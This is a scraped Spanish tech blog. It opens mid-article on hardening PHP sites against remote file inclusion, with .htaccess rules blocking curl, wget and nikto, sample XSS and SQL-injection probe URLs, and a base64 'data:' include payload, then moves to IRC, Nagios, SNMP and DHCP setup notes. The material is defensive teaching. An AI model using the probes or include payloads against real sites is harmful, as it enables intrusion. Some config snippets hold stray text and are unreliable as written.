$instruccion("SELECT * FROM administracion WHERE usuario='%s' AND
clave='%s'",
mysql_real_escape_string($usuario),
mysql_real_escape_string($clave_crypt));
?>
Para evitar dichos accesos al servidor, como medida de choque se pueden
añadir los siguientes codigos en nuestros php,NO dejan de ser un parche ya que
trato de informar y minimizar riesgo, y no deja de ser una experiencia
personal, lo correcto seria sanar todo el codigo del arbol web:

<?
Header("X-Powered-by: safe_http");
if(preg_match("/http:/i",
urldecode(getenv("REQUEST_URI").getenv("QUERY_STRING"))))
{
Header( "HTTP/1.1 503 Service temporally unavailable" );
exit;
}
?>

Este script al principio de nuestros php impediria que se carguen enlaces
externos, un poco de cemento no viene mal.

= 4.3 = [ Modificaciones .htaccess ]

.htaccess es blanco habitual de este tipo de ataques, y utilizandolo
correctamente, podemos ahorrarnos males mayores teniendo algo como
esto

RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /------------http----------- [F,NC]
RewriteRule http: /---------http----------- [F,NC]
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(-|\.|') [OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)(<|>|%3C|%3E)(.*) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget)(.*) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(.*)(libwww-perl|libwwwperl|snoopy|curl|wget|winhttp|python|nikto|scan)(.*) [NC,OR]
RewriteCond %{REQUEST_URI} ^(/,|/;|/<|/>|/'|/`|/%2C|/%3C|/%3E|/%27|/////) [NC,OR]
RewriteCond %{HTTP_REFERER} ^(.*)(%00|%08|%09|%0A|%0B|%0C|%0D|%0E|%0F|%2C|<|>|'|%3C|%3E|%26%23|%27|%60)(.*) [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)('|-|<|>|,|/|\\|\.a|\.c|\.t|\.d|\.p|\.i|\.e|\.j)(.*) [NC,OR]
RewriteCond %{HTTP_COOKIE} ^(.*)(<|>|'|%3C|%3E|%27)(.*) [NC]
RewriteRule .* - [F]

Con estas reglas nos evitaremos escaneos indeseados por parte de
herramientas automatizadas potentes como nikto, ademas de inhabilitar
wget o curl.. herramientas de sobra conocidas, ademas de evitar
algunos tipos simples de ataques XSS o SQL Injection, un ejemplo
de peticiones que deberian ser bloqueadas son tales como :

XSS:

http://www.holesite.com/,;<>'`

http://www.holesite.com/archivo.php?var=">abc<
http://www.holesite.com/archivo.php?var=<script>abc

http://www.holesite.com/archivo.php?var=javascript:abc

SQL:

http://www.dominio.com/archivo.php?var=;


http://www.dominio.com/archivo.php?var='

http://www.dominio.com/archivo.php?var="

Fácilmente eludible con otras codificaciones de caracteres, pero menos es nada.

= 4.4.1 [ php.ini something about it ] ============================

Como sabemos este fichero nos permite establecer una serie de directivas
que marcaran el funcionamiento del mismo y que obligara, en funcion de como
queramos que funcione, a adaptar nuestra programacion, cosa que mas de uno
deberia de tener en cuenta, estas son algunas de las directivas que podemos
utilizar, a sabiendas de:

- php.ini register_globals on/off?

Esta directiva esta en off desde php 4.2.0, y en la 4.2.3
paso de ser directiva de tipo PHP_INI_ALL a PHP_INI_PERDIR.
Su uso no hace insegura una aplicacion, sino el uso inapropiado
de ella al programar, y nos obliga a no usar matrices globales
para valores pasados por GET y POST.

- php.ini allow_url_include / allow_url_fopen on/off?

Estas dos directivas pueden ser utiles ya que nos permiten
impedir que se le pasen parametros externos pero OJO solo
para los protocolos http y ftp, no para php y data, de manera
que si hacemos una peticion en base64 se la tragaria tambien el
servidor,algunos exploits actuales se aprovechan de esta circunstancia.

Ej: <? [...] include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+" ?>
<? [...] include "php://evilscript;"

Aun con esas directivas activas, se le podrian pasar parametros
externos si bien deben estar transcritos a base64 para que el servidor
se lo trague, como se muestra el ejemplo anterior.

= 4.4.2 [ php.ini - flags en .htaccess ] ===========================

Como medidas de apoyo en .htaccess podemos:

- Setear variables de php.ini en dicho fichero

php_flag display_errors Off - No muestre errores
php_flag log_errors On - Los registra
php_value error_log "/path/to/file" - fichero donde lo guarda

= 4.4.3 = [ Un poco de seguridad en nuestro CMS ] ===============

Los CMS ( Drupal, Joomla,oscommerce,etc) presentan una solucion
Open Source muy interesante, pero a la vez esta sometida a continuos
ataques y bug researching para acceder a informacion sensible.
La mayoria cuentan con un directorio de administracion, el cual
se deberia cambiar automaticamente al instalarlo, esto es, para
oscommerce en el fichero /catalog/include/configure.php las directivas

define('DIR_WS_ADMIN', '/nuevacarpeta/');
define('DIR_FS_ADMIN', '/home/user/public_html/nuevacarpeta/');

Solo con esto nos ahorraremos los ataques con herramientas basados
en busquedas mediante Google con scripts que apuntan a los directorios
predeterminados (google dork: inurl:/catalog/admin.php/ -> ejemplos.
Para mayor seguridad, deberiamos tambien revisar el codigo de los ficheros
php de nuestro CMS para evitar dar informacion que no interesa al atacante,
o en este caso a un script automatizado, como puede ser el caso de los
ficheros de login.

Ejemplo:

/catalog/admin/login.php

<title><?php echo TITLE; ?></title>

Esa sentencia muestra por pantalla de titulo en el explorador que CMS
estamos usando, su version, etc, OScommerce Online Merchant 2.2...
Tal sentencia se encuentra en numerosos ficheros, conviene eliminarlas.

Otra manera de proteger nuestro directorio de administracion es
mediante .htaccess y htpasswd asignando una contraseña de apache
al directorio que nos pedira al ingresar.

Una buena solucion tambien es la de permitir solo acceder a nuestro
directorio de administracion desde una direccion IP en concreto, pero
¿ como hacemos eso ? de nuevo mediante .htaccess colocado en el directorio
a proteger, ejemplo:

Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP_HOST} ^myweb.es [NC]
RewriteRule ^(.)$ http://myweb.es [L,R=301]
<Limit GET>
Order Deny,Allow
Deny from all
Allow from xxx.xxx.xxx.xx
</Limit>

Ahi seteariamos nuestra IP y listo, ahi surge el problema, hablamos
de que tenemos IP dinamica, ¿ y cuando se nos cambie la ip ? No podremos
acceder, y apache no permite que insertemos un host del tipo dynamicdns.org
en la configuracion antes mostrada.
Esto lo solucionaremos mediante un script en bash, y crontab.
#!/bin/bash
#######################################################
#
#
# Pellejero-dyndns-script v0.01b
# @vanNistelroot
# kernel-security #
# Actualiza fichero .htaccess a partir de configuracion
# dyndns para que solo sea accesible nuestro server
# desde nuestra IP publica ;)
######################################################
rm /home/user/public_html/directorioproteger/.htaccess
nslookup b031ng.dyndns.org|grep 83*|awk {'print $2'} >> b031ng-ip
ip=`sed -n 1p b031ng-ip`
echo $ip >> nslookup-ip
echo "Options +FollowSymLinks" >> /home/user/public_html/directorioproteger/.htaccess
echo "RewriteEngine On" >> /home/user/public_html/directorioproteger/.htaccess
echo "RewriteCond %{HTTP_HOST} ^myweb.es [NC]" >> /home/user/public_html/directorioproteger/.htaccess
echo "RewriteRule ^(.)$ http://myweb.es$1 [L,R=301]" >> /home/user/public_html/directorioproteger/.htaccess
echo "<Limit GET>" >> /home/user/public_html/directorioproteger/.htaccess
echo "Order Deny,Allow" >> /home/user/public_html/directorioproteger/.htaccess
echo "Deny from all" >> /home/user/public_html/directorioproteger/.htaccess
echo "Allow from $ip" >> /home/user/public_html/directorioproteger/.htaccess
echo "</Limit>" >> /home/user/public_html/directorioproteger/.htaccess
rm b031ng-ip

-EOF-

Como vemos, el script es muy simple, y aunque es muy susceptible de mejorar
para explicar el concepto nos vale, tan solo tendremos que crearnos una cuenta
en dyndns.org, colocar el script fuera del arbol web, y ejecutar una tarea en
crontab para que lo ejecute digamos una vez al dia, esto se hace de la siguiente
manera, se crea un fichero normal de texto ( tarea_crontab ):

# Ejecuta el script de actualizacion de .htaccess 1 vez al dia
#
0 0 * * * /home/user/vrootdns.sh

Lo guardamos y ejecutamos:

$ crontab -e tarea_crontab

Listo ! Cada dia se actualizara nuestra IP al fichero .htaccess y solo nosotros
podremos acceder al directorio de administracion.
= 4.4.4 = [ Alguna cosa mas ] ======================================

- Revisar los logs de acceso de apache (a!, que aun no lo haces?),
ahi se puede encontrar todo tipo de intentos de ataque hacia nuestro server
pudiendo comprobar de que direccion viene,y que intentan...

google dork: inurl:/log/access.log -> more examples

- Hacer una lista de denegacion de ips de posibles spammers *

order allow,deny
deny from 83.x.x.x
deny from 89.35.x
allow from all

- http://tools.dynamicdrive.com/userban/

Genera las directivas automaticamente insertando las ips

- Creando errores de apache personalizados con la siguiente directiva

ErrorDocument 404 /404.php
ErrorDocument 403 /403.php

Con esto podemos jugar al despiste de un error de Forbidden mostrarlo
como url no encontrada.

= [ E-bliografia y enlaces de interes ] ==================================

http://insecure.org


http://www.phpsec.org


http://phpsecurity.org


http://www.php-es.com


http://hispasec.com


http://www.net-security.org


http://milw0rm.com


http://securitydot.net


http://shell-fu.org


http://packetstormsecurity.org

 

Publicado en Seguridad Informática | Deja un comentario

Setting UP Creative WebCam NX Pro 2

Conectamos la cam al usb y ejecutamos :

$ lsusb

Bus 005 Device 004: ID 059b:0370 Iomega Corp.
Bus 005 Device 003: ID 152e:2507 LG (HLDS)
Bus 005 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 003: ID 041e:403a Creative Technology, Ltd WebCam NX Pro 2

Google dork : Ltd WebCam NX Pro 2

spca5xx es el driver que nos va a hacer falta.

apt-get install build-essentials module-assistant gspca-modules-2.6.26-2-686
y gspca-source

Los dos primeros paquetes nos permiten dotar al sistema de todo lo necesario
para poder compilar y module-assistant nos lo prepara e instala.

Una vez hecho esto:

$ m-a prepare

$ m-a a-i gspca-modules-2.6.26-2-686

$ m-a a-i gspca-source

$ ldconfig

Publicado en GNU\Linux Servers | Deja un comentario

Setting up UnreaIiRCD

Para instalar UnrealIRCD en tu máquina, añadimos un user sin shell :

 

$ groupadd -g 1030 ircd

$ useradd -g ircd -d /dev/null -s /dev/null ircd
$ wget -c http://files.alexisnet.net/unreal/Unreal3.2.7.tar.gz
$ tar xzvf Unreal3.2.7.tar.gz
$ mkdir -p /home/ircd/unreal/bin
$ mkdir /home/ircd/unreal/conf
$ mv Unreal3.2.7 unreal
$ cd unreal
$ ./Config
$ make
$ make install

$ cd /home/ircd/unreal/conf
$ cp doc/example.conf unrealircd.conf

Ahora viene la parte de configuración del unrealircd.conf :

descomentar las líneas :

loadmodule "/home/ircd/unreal/conf/modules/commands.so";
loadmodule "/home/ircd/unreal/conf/modules/cloak.so";

me
{
name "irc.guetto.org";
info "loh coloreh";
numeric 1;
};

admin {
"vnistelroot";
"vnistelroot";
"do@bla.com";
};

allow {
ip *@*;
hostname *@*;
class clients;
maxperip 2;
};

allow {
ip *@255.255.255.255;
hostname *@*;
class clients;
maxperip 2;
};

oper vnistelroot {
class clients;
from {
userhost vnistelroot*@*.*;
};
password "pass_oper";
flags
{
netadmin;
can_zline;
can_gzline;
can_gkline;
global;
};
};
listen 127.0.0.1:6697
{
options
{

clientsonly;
ssl; correr el daemon
};
};

listen *:8067;
listen *:8989; autorizadas, en este caso todas

Crear los siguientes ficheros de motd e ircd.rules, le tuve que poner la ruta completa, quedando así:

tld {
mask *@*;
motd "/home/ircd/unreal/conf/ircd.motd"; se lo tragaba
rules "/home/ircd/unreal/conf/ircd.rules";
};

set {
kline-address "do@blah.com"; traga
modes-on-connect "+ixw";
modes-on-oper "+xwgs";
oper-auto-join "#opers";
options {

Guardamos el fichero y ejecutamos

$ ./unreal start

Publicado en GNU\Linux Servers | Deja un comentario

Setting up Nagios

Nagios es un proyecto de código libre que nos permite monitorizar a
pequeña,media o gran escala equipos y servicios, y teniendo múltiples
opciones de configuración a través de plugins o diversos protocolos,alertas
via sms de poco espacio en disco, ping para saber si está up, memoria ram
disponible y un largo etcétera, de tal manera que podemos saber algo que va
a ocurrir, antes de que ocurra =)

Para más info www.nagios.org

Primeramente,hay que escoger el tipo de instalación de Nagios que vamos a
realizar,compilado desde tarball o mediante los repositorios de Debian
Etch,para el primer caso realizariamos lo siguiente:

Download Nagios 2.6 y plugins 1.4.4 en tarball de la pagina oficial
Descomprimir Nagios,acceder al directorio:

Se crea un usuario y grupo de nombre nagios

$ groupadd nagios && useradd nagios -g nagios

Se agrega un grupo para ejecutar comandos nagios utilizando el grupo nagios:

$ usermod -G nagios (usuario-apache)*

El usuario apache se extrae de ps -aux|grep apache2 = www-data

Configure

./configure –prefix=/usr/local/nagios –with-cgiurl=/nagios/cgi-bin
–with-htmlurl=/nagios/ –with-nagios-user=nagios
–with-nagios-grp=nagios –with-command-grp=nagios

Compilar :

$ make all

Instalacion Binarios y archivos html :

$ make install

Instalar ejemplos de configuracion:

$ make install-config en /usr/local/nagios/etc/

Instala script de iniciacion:

$ make install-init

Todos los archivos de /usr/local/nagios deben pertenecer a usuario y grupo
nagios:

$ chown -R nagios:nagios nagios

$ ls -sahl /usr/local/nagios

Configuracion del script creado para que se ejecue siempre al arranque:

$ update-rc.d nagios defaults

Configuracion permisos de algunos directorios:

$ make install-commandmode

Creacion de symlins de binarios para nuestro sistema:

$ ln -s /usr/local/nagios/bin/nagios /usr/sbin/nagios
$ ln -s /usr/local/nagios/bin/nagiostats /usr/bin/nagiostats

Instalacion de los plugins:

$ tar -zxvf nagios-plugins-1.4.4.tar.gz && cd nagios-1.4.4

Configuracion:

$ ./configure –prefix=/usr/local/nagios –with-cgiurl=/nagios/cgi-bin

Instalacion:

$ make && make install && make install-root

Creacion de interfaz web editando /etc/apache2/sites-available/default ( más
abajo )

Creacion del archivo login/pass:

$htpasswd -c /usr/local/nagios/etc/htpasswd.users admin
$cat /usr/local/nagios/etc/htpasswd.users

Al haber ejecutado make install-config se nos crean ficheros sample de
configuracion de nagios en /usr/local/nagios/etc/, debemos renombrarlos de
fichero-sample.cfg a fichero.cfg,aun así,nos faltarán diversos ficheros que
son los siguientes y que iremos creando a mano:



define host{
use generic-host ; Name of host template to use
host_name pc-javi
alias PC de Javi
address 192.168.1.110
check_command check-host-alive
max_check_attempts 20

contact_groups admin
notification_interval 60
notification_period 24x7
notification_options d,u,r
}

Fichero services.cfg

define service{
name generic-service ; The n ame of this service template
active_checks_enabled 1 ; Active service checks are enabled
passive_checks_enabled 1 ; Passive service checks are enabled/accepted

parallelize_check 1 ; Active service checks should be parallelized
(disabling t
obsess_over_service 1 ; We should obsess over this service (if necessary)
check_freshness 0 ; Default is to NOT check service freshness

notifications_enabled 1 ; Service notifications are enabled
event_handler_enabled 1 ; Service event handler is enabled
flap_detection_enabled 1 ; Flap detection is enabled
failure_prediction_enabled 1 ; Failure prediction is enabled

process_perf_data 1 ; Process performance data
retain_status_information 1 ; Retain status information across program
restarts
retain_nonstatus_information 1 ; Retain non-status information across
program r
is_volatile 0 ; The service is not volatile

register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL SERVICE, JUST A
TEM
}

define service{
# use generic-service ; Name of service template to use
host_name pc-javi
service_description PING
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5

retry_check_interval 1
contact_groups admin
notification_interval 240
notification_period 24x7
notification_options c,r
check_command check_ping!100.0,20%!500.0,60%
}

Fichero timeperiods.cfg

# This defines a timeperiod where all times are valid for checks,
# notifications, etc. The classic 24x7 support nightmare. : - )

define timeperiod{
timeperiod_name 24x7
alias 24 Hours A Day, 7 Days A Week
sunday 00:00-24:00
monday 00:00-24:00
tuesday 00:00-24:00
wednesday 00:00-24:00
thursday 00:00-24:00
friday 00:00-24:00
saturday 00:00-24:00
}

# workhours timeperiod definition
define timeperiod{
timeperiod_name workhours
alias Normal Working Hours
monday 09:00-18:00
tuesday 09:00-18:00
wednesday 09:00-18:00
thursday 09:00-18:00
friday 09:00-18:00

saturday 10:00-13:00
}

# nonworkhours timeperiod definition
define timeperiod{
timeperiod_name nonworkhours
alias Non-Work Hours
sunday 00:00-24:00
monday 00:00-09:00,18:00-24:00
tuesday 00:00-09:00,18:00-24:00
wednesday 00:00-09:00,18:00-24:00

thursday 00:00-09:00,18:00-24:00
friday 00:00-09:00,18:00-24:00
saturday 00:00-10:00,13:00-24:00
}

# none timeperiod definition
define timeperiod{
timeperiod_name none
alias No Time Is A Good Time
}

Revisión de los ficheros de configuracion con:

$nagios -v /usr/local/etc/nagios.cfg

Total Warnings: 0
Total Errors: 0

Ahora solo debemos configurar apache para la autenticación de la siguiente
manera editando el fichero /etc/apache2/sites-available/default


ScriptAlias /nagios/cgi-bin "/usr/local/nagios/sbin/nagios/"
Options ExecCGI
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users

Require valid-user

Alias /nagios /usr/local/nagios/share

nagios/share">
Options None
AllowOverride None
Order allow,deny
Allow from all
AuthName "Nagios Access"
AuthType Basic
AuthUserFile /usr/local/nagios/etc/htpasswd.users

Require valid-user

Reiniciar apache2:

$ /etc/init.d/apache2 restart

Ejecutar http://192.168.1.90/nagios :)

Publicado en GNU\Linux Servers | Deja un comentario

Setting up Status Map Nagios

Primeramente, hay que hacer un testeo de si nuestra compilación de Nagios
está diseñada con soporte gd2 para la correcta visualizacion de las
imágenes,no se ha comprobado mediante la instalación desde los repositorios.
Podemos hacernos una idea de que esto es así si entrando a nuestra interfaz
web de Nagios y al pinchar en statusmap nos da un error 404 de página no
encontrada o algo por el estilo, otra manerade comprobar que nuestra
compilación tuvo problemas es haciendo un
$ locate statusmap.cgi || find / -name statusmap*

Si no nos encuentra el primero y nos encuentra el statusmap.c es que no está
compilado, de ser así para cerciorarnos nos dirigimos al source de nagios y
ejecutamos un configure aver si todo fue bien. Si nos imprime que faltan
librerias, las siguientes deberían estar instaladas en el sistema

debian:/usr/local/nagios/etc# dpkg -l|grep libgd

ii libgd-dev 1.8.4.debian-1 GD Graphics Lib rary (transitional package)

ii libgd-noxpm-dev 1.8.4.debian-1 GD Graphics Lib rary (old version, without
XP ii libgd-tools 2.0.33-5.2 GD command line tools and example code

ii libgd1 1.8.4.debian-1 GD Graphics Lib rary (transitional package) ii
libgd1-noxpm 1.8.4.debian-1 GD Graphics Lib rary (old version, without XP

ii libgd2-xpm 2.0.33-5.2 GD Graphics Lib rary version 2

ii libgda2-3 1.2.3-5 GNOME Data Acce ss library for GNOME2 ii libgda2-common
1.2.3-5 Common files fo r GNOME Data Access library f ii libgdbm3 1.8.3-3
GNU dbm databas

debian:/usr/local/nagios/etc# dpkg -l|grep libpng

ii libpng12-0 1.2.15~beta5-1 PNG library – r untime

ii libpng12-dev 1.2.15~beta5-1 PNG library – d evelopment

ii libpng3 1.2.15~beta5-1 PNG library – r

debian:/usr/local/nagios/etc# dpkg -l|grep libjpeg

ii libjpeg62 6b-13 The Independent JPEG Group’s JPEG runtime library
ii libjpeg62-dev 6b-13 Development files for the IJG JPEG library

debian:/usr/local/nagios/etc# dpkg -l|grep zlib

ii zlib1g 1.2.3-13 compression library – runtime
ii zlib1g-dev 1.2.3-13 compression library – development

define hostextinfo{
host_name pc-javi,pc-julio
# notes_url http://editar icon_image ultrapenguin.png icon_image_alt Linux
# Host vrml_image ultrapenguin.png statusmap_image ultrapenguin.gd2
# 2d_coords 100,250 # 3d_coords 100.0,50.0,75.0 } define hostextinfo{
# host_name oficina-router
# notes_url http://editar icon_image switch40.png icon_image_alt Switch
# Ovislink vrml_image switch40.png statusmap_image switch40.gd2
# 2d_coords 100,250 # 3d_coords 100.0,50.0,75.0 }

Solamente quedaría editar este fichero intuitivo y reiniciar nagios :)

Publicado en GNU\Linux Servers | Deja un comentario

Setting up SNMP Y NAGIOS

Para instalar y configurar el SERVIDOR snmpd en Debian Etch hay que instalar los siguientes paquetes:

 snmpd,snmp,tkmib ( browser gtk de OID´s )

Después, los ficheros y directorios a tener en cuenta son:

/etc/snmp/snmpd.conf
/etc/default/snmpd
/usr/share/snmp/mibs/.index
/usr/share/snmp/mibs/

Metemos el servicio snmpd para que arranque automaticamente cada vez que arrancamos la máquina:
$ update-rc.d snmpd defaults

Para /etc/snmp/snmpd.conf la configuración utilizada es la siguiente:

# Listas de control de acceso (ACL)
# source community (alias clave de acceso)
com2sec local 127.0.0.1/32 public
com2sec localnet
192.168.1.0/24 public
group MyRWGroup v1 local
group MyRWGroup v2c local
group MyRWGroup usm local

#Se asigna ACL al grupo de solo lectura
group MyROGroup v1 localnet
group MyROGroup v2c localnet
group MyROGroup usm localnet

# Ramas MIB que se permiten ver
## name incl/excl subtree mask(optional)
view all included .1 80

# Establece permisos de lectura y escritura
## group context sec.model sec.level prefix read write notif

access MyROGroup "" any noauth exact all none none
access MyRWGroup "" any noauth exact all all all

# Información de Contacto del Sistema

syslocation pinzatec
syscontact admin@migato.miperro.net

$ /etc/init.d/snmpd restart

Si todo ha funcionado,lo cual es improbable,deberías poder hacer consultas a la interfaz localhost de la siguiente manera:

$ snmpwalk localhost -c public -v2c system

Se debería mostrar la siguiente información ( sólo una pequeña muestra ):

SNMPv2-MIB::sysDescr.0 = STRING: Linux debian 2.6.18-3-686 #1 SMP Mon Dec 4 16:41:14 UTC 2006 i686
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (1470573) 4:05:
05.73
SNMPv2-MIB::sysContact.0 = STRING: Unknown
SNMPv2-MIB::sysName.0 = STRING: debian
SNMPv2-MIB::sysLocation.0 = STRING: Unknown
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00
SNMPv2-MIB::sysORID.1
= OID: IF-MIB::ifMIB
SNMPv2-MIB::sysORID.2 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.3 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.4 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.5 = OID: UDP-MIB::udpMIB

Si recibimos un mensaje de error similar al siguiente:

system: Unknown Object Identifier (Sub-id not found: (top) -> system) ( entre otros )

O parecido a:
Cannot find module (IP-MIB): At line 0 in (none) ( entre otros )

Eso es debido a que el sistema no puede encontrar la ubicacion de las MIB,para verificar donde se encuentran usar el siguiente comando:

snmpwalk -Dparse-mibs -v 1 -c private 127.0.0.1 127.0.0.1 system

Este comando nos indicará donde está buscando las MIBs,con lo cual podemos verificar si las ha encontrado correctamente (son ficheros .txt),de lo contrario debemos copiar los ficheros que se encuentran en /usr/share/snmp/mibs/ a los directorios en los que busca.

Existe un error en el paquete snmpd de Debian Etch documentado,por el cual el sistema no genera por sí solo el fichero .index en el directorio donde se guardan las MIB,verificamos que está $

$ for i in *.txt; do echo $(basename $i .txt) $i>>.index; done

Una vez hecho esto volvemos a ejecutar:   

$ snmpwalk -Dparse-mibs -v 1 -c private 127.0.0.1 system

Si todo ha ido correctamente cargará las MIBs y nos dirá index ok o similar

Volvemos a ejecutar:

$ snmpwalk localhost -c public -v2c system

Si todo ha funcionado debe salir la información por pantalla correctamente. 
Eso en cuanto a la configuración local del servidor.

Para monitorizar los clientes debemos seguir los mismos pasos descritos     
anteriormente, además, ejecutando:

$ netstat -a|grep snmp

Podemos ver como sólo escucha por la interfaz de localhost,con lo cual si   
ejecutamos snmpwalk atacando a una máquina remota que cumpla las            
características de los ficheros de configuración obtendremos "Timeout       
response from 192.xxx.xx.x". Esto se corrige editando en el fichero         
/etc/default/snmpd la siguiente linea:

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid        
localhost'

Se cambia a:

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid'

Ahora volvemos a verificar:

$ netstat -a|grep snmp

udp        0      0 *:snmp                  *:*

Ya escucha por todas las interfaces

$ snmpwalk localhost -c public -v2c system

$ snmpwalk -v 2c 192.168.x.x -c public system

/usr/local/nagios/etc/commands.cfg
/usr/local/nagios/etc/services.cfg

define command{
command_name check_snmp
command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$
}

En éste ejemplo sólo funcionamos con dos argumentos,la ip del equipo remoto 
y -o para el OID que especifiquemos posteriormente en el services.cfg. Para 
peticiones snmp que requieran más argumentos sólo habrá que añadirlos en    
otra definicion similar a:

check_snmp -H $HOSTADDRESS$ -o $ARG1$ -c $ARG2$ ...
define service{
host_name pc-javi,pc-julio
service_description RAM IN MACHINE
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admin

notification_interval 240
notification_period 24x7
notification_options w,u,c,r
check_command check_snmp!.1.3.6.1.4.1.2021.<wbr>4.5.0 # RAM IN OID MACHINE } 

De ésta manera ya deberíamos poder ejecutar snmpwalk tanto localmente como a
equipos remotos.No olvidar de reiniciar el servicio snmpd con cada nueva
configuración.

Una vez que todo funcione correctamente y que se puedan hacer peticiones
manuales desde la linea de comandos hay que implementarlo en los ficheros de
nagios que son:

/usr/local/nagios/etc/commands.cfg /usr/local/nagios/etc/services.cfg
define command{
command_name check_snmp
command_line $USER1$/check_snmp -H $HOSTADDRESS$ -o $ARG1$
}

En éste ejemplo sólo funcionamos con dos argumentos,la ip del equipo remoto 
y -o para el OID que especifiquemos posteriormente en el services.cfg. Para 
peticiones snmp que requieran más argumentos sólo habrá que añadirlos en
otra definicion similar a:

check_snmp -H $HOSTADDRESS$ -o $ARG1$ -c $ARG2$ ...</pre>
&amp;nbsp;

</wbr></wbr></pre>
[sourcecode language='css']
define service{
host_name pc-javi,pc-julio
service_description RAM IN MACHINE
is_volatile 0
check_period 24x7
max_check_attempts 3
normal_check_interval 5
retry_check_interval 1
contact_groups admin

notification_interval 240
notification_period 24x7
notification_options w,u,c,r
check_command check_snmp!.1.3.6.1.4.1.2021.4.5.0 # RAM IN OID MACHINE
}

Tan sólo habrá que especificar el OID,el cual podemos buscar los genéricos
aquí o aquí

Publicado en GNU\Linux Servers | Deja un comentario

Setting up DHCP Server SuSE 9.3

Fichero de configuración de un DHCP Server /etc/dhcpd.conf

</p>
<p style="text-align: justify;">option domain-name-servers 192.168.4.2, 192.168.2.1;
option nis-domain "tuto.edu";
option nis-servers 192.168.4.4;
option lpr-servers 192.168.4.3;</p>
<p style="text-align: justify;">ddns-updates on;
ddns-update-style interim;
ignore client-updates;</p>
<p style="text-align: justify;">#ddns-domainname "tuto.edu";
#ddns-rev-domainname "in-addr.arpa";</p>

<pre>subnet 192.168.1.0 netmask 255.255.255.0 {    

range 192.168.1.100 192.168.1.150;    

zone multiusos.tuto.edu. {primary 192.168.4.2; }    

zone 1.168.192.in-addr.arpa. {primary 192.168.4.2; }    

option domain-name "multiusos.tuto.edu";    

option routers 192.168.1.1;       

default-lease-time 14400;    

max-lease-time 172800;    

ddns-domainname "multiusos.tuto.edu";    

ddns-rev-domainname "multiusos.tuto.edu"; }     

subnet 192.168.2.0 netmask 255.255.255.0 {    

range 192.168.2.100 192.168.2.190;   

zone alumnos.tuto.edu. {primary 192.168.4.2;}    

zone 2.168.192.in-addr.arpa. {primary 192.168.4.2;}    

option domain-name "alumnos.tuto.edu";    

option routers 192.168.2.1;       

default-lease-time 14400;    

max-lease-time 172800;    

ddns-domainname "alumnos.tuto.edu";    

ddns-rev-domainname "alumnos.tuto.edu

COMENTARIOS SOBRE LAS ENTRADAS

Veamos en primer lugar estas cuatro primera líneas:


 option domain-name-servers 192.168.4.2, 192.168.2.1; 
 option nis-domain "tuto.edu"; 
 option nis-servers 192.168.4.4; 
 option lpr-servers 192.168.4.3; 

Se está indicando, según la línea lo siguiente: las direcciones de los servidorde impresión. Estas opciones son generales y comunes para todas las redes.

Continuando con la lectura del fichero aparece:

 ddns-updates on; ddns-update-style interim; ignore client-updates; 

Si se desea que se actualicen los ficheros de zona del DNS cuando a una red se le estén asignando direcciones de red dinámicas, de tal manera que los equipos del dominio y sus direcciones IP concuerden con su nombre máquina la opción ddns-updates debe de estar a on.


subnet 192.168.1.0 netmask 255.255.255.0 { range 192.168.1.100 192.168.1.150; zone multiusos.tuto.edu. {primary 192.168.4.2; } zone 1.168.192.in-addr.arpa. {primary 192.168.4.2; } option domain-name "multiusos.tuto.edu"; option routers 192.168.1.1; default-lease-time 14400; max-lease-time 172800; ddns-domainname "multiusos.tuto.edu"; ddns-rev-domainname "multiusos.tuto.edu"; }

En primer lugar se especifica usando subnet y netmask, la red que va a ser despachada con direcciones IP. De entre todas las posibles direcciones IP se elige a través de un rango cuales son las que las máquinas van a poder adquirir dinámicamente.

No estaríamos configurando bien el fichero si no asociáramos las zonas creadas en la configuración del DNS con la red 192.168.1.1, en este caso.

Para especificar el dominio predeterminado de la red usamos option domain-name.

Los paquetes de datos que no pueden ser entregados en la red local porque su dirección IP así lo determina serán enviados a donde lo indique option routers.

Importantes son las palabras clave ddns-domainname y ddns-rev-domainname, pues sin ellas sería imposible la actualización en el servidor DNS ya que indican sobre que dominio se debe configurar de forma dinámica, tanto en su versión directa como inversa.

ROUTERS COMO RELÉ

Que un router haga de relé significa que cuando un servidor DHCP intenta «repartir» direcciones a otras computadoras que están en una red distinta a la del propio servidor, se permita que los paquetes relacionados con esto puedan «pasar» por el router del que estamos hablando, y esas direcciones sean asignadas.

Para que un router también sea relé es obligatorio instalar un paquete en concreto (dhcp-relay), además de realizar otras operaciones; estas son modificaciones en los ficheros que son enumerados a continuación.

/etc/sysconfig/dhcrelay

CONTENIDO DEL FICHERO


DHCRELAY_INTERFACES="eth0 eth1" ## Type: string ## Default: "" ## ServiceRestart: dhcrelay # # DHCP servers to be used by DHCP relay agent # (separated by spaces, e.g. "192.168.0.11 191.168.0.12") # DHCRELAY_SERVERS="192.168.4.1" ## Type: string ## Default: "" ## ServiceRestart: dhcrelay # # Additional options # Example: "-c 8" # DHCRELAY_OPTIONS="" 

COMENTARIOS SOBRE LAS ENTRADAS

